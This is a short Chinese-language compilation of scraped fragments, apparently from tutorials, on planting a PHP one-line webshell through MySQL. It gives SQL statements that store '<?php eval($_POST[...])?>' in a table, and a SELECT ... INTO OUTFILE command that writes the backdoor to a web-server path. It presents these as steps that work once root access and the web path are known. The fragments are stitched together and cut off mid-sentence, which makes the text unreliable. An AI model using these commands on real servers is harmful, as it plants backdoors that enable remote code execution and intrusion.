USE mysql;# MySQL 返回的查询结果为空(即零行). # MySQL 返回的查询结果为空(即零行). CREATE TABLE a( cmd1 text NOT NULL );# MySQL 返回的查询结果为空(即零行). # MySQL 返回的查询结果为空(即零行). INSERT INTO a( cmd1 ) VALUES ( '<?php eval($_POST[cmd]);?>' );# 影响列数: # 影响列数: SELECT cmd1 FROM a # 影响列数: D
在web应用场景下,经常会碰到SQL注入场景,如页面能够执行SQL语句,那么可能会有直接通过SQL语句写入webshell的风险,常见的phpmyadmin环境下,通过几个语句可以轻松将一句话木马写入到服务器文件,如下: use test; //进入数据库create table test (shell text not null); //创建表insert into test (shell) values('<?php eval($_POST[a])?>'); //插入表单数据select
利用mysql写入一句话木马 前提: root权限,知道了服务器的web的绝对路径 select "<?php @eval($_POST['pass']);?>" INTO OUTFILE "D:\\WWW\\22.php" 如果执行成功,生成D:\WWW\22.php,并写入 <?php @eval($_POST['pass']);?> 如果出现: 提示错误[Error Code] 1290 - The MySQL server is ru